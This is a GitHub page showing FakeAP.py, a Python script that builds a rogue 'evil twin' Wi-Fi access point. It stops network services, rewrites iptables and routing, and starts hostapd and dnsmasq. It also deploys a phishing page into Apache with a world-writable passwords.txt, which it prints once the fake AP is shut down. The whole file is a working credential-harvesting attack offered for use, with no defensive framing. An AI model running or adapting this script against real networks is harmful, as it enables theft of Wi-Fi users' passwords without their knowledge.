-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathFakeAP.py
70 lines (56 loc) · 2.26 KB
/
FakeAP.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import os
import signal
import time
def reset_setting():
os.system('service NetworkManager start')
os.system('service apache2 stop')
os.system('service hostapd stop')
os.system('service dnsmasq stop')
#os.system('service rpcbind stop')
os.system('killall dnsmasq >/dev/null 2>&1')
os.system('killall hostapd >/dev/null 2>&1')
os.system('systemctl enable systemd-resolved.service >/dev/null 2>&1')
os.system('systemctl start systemd-resolved >/dev/null 2>&1')
def AP_on(iface):
os.system('systemctl disable systemd-resolved.service >/dev/null 2>&1')
os.system('systemctl stop systemd-resolved >/dev/null 2>&1')
os.system('service NetworkManager stop')
os.system(' pkill -9 hostapd')
os.system(' pkill -9 dnsmasq')
os.system(' pkill -9 wpa_supplicant')
os.system(' pkill -9 avahi-daemon')
os.system(' pkill -9 dhclient')
os.system('killall dnsmasq >/dev/null 2>&1')
os.system('killall hostapd >/dev/null 2>&1')
os.system("ifconfig "+ iface +" 10.0.0.1 netmask 255.255.255.0")
#os.system('route add default gw 10.0.0.1')
os.system('echo 1 > /proc/sys/net/ipv4/ip_forward')
os.system('iptables --flush')
os.system('iptables --table nat --flush')
os.system('iptables --delete-chain')
os.system('iptables --table nat --delete-chain')
os.system('iptables -P FORWARD ACCEPT')
def run_AP():
os.system('dnsmasq -C dnsmasq.conf')
#os.system('route add default gw 10.0.0.1')
os.system('hostapd hostapd.conf -B')
os.system('route add default gw 10.0.0.1')
def start_apache():
os.system('service apache2 start')
os.system('route add default gw 10.0.0.1')
os.system('cp html/index.php /var/www/html/')
os.system('cp html/pass.php /var/www/html/')
os.system('cp html/passwords.txt /var/www/html/')
os.system('cp -r html/css /var/www/html/')
os.system('cp -r html/js /var/www/html/')
os.system('cp -r html/images /var/www/html/')
os.system('chmod 777 /var/www/html/passwords.txt')
def start(iface):
reset_setting()
AP_on(iface)
start_apache()
run_AP()
empty = raw_input("\nPress Enter to Close Fake Accses Point AND Power OFF the fake AP.........\n")
reset_setting()
os.system("clear")
os.system("cat /var/www/html/passwords.txt")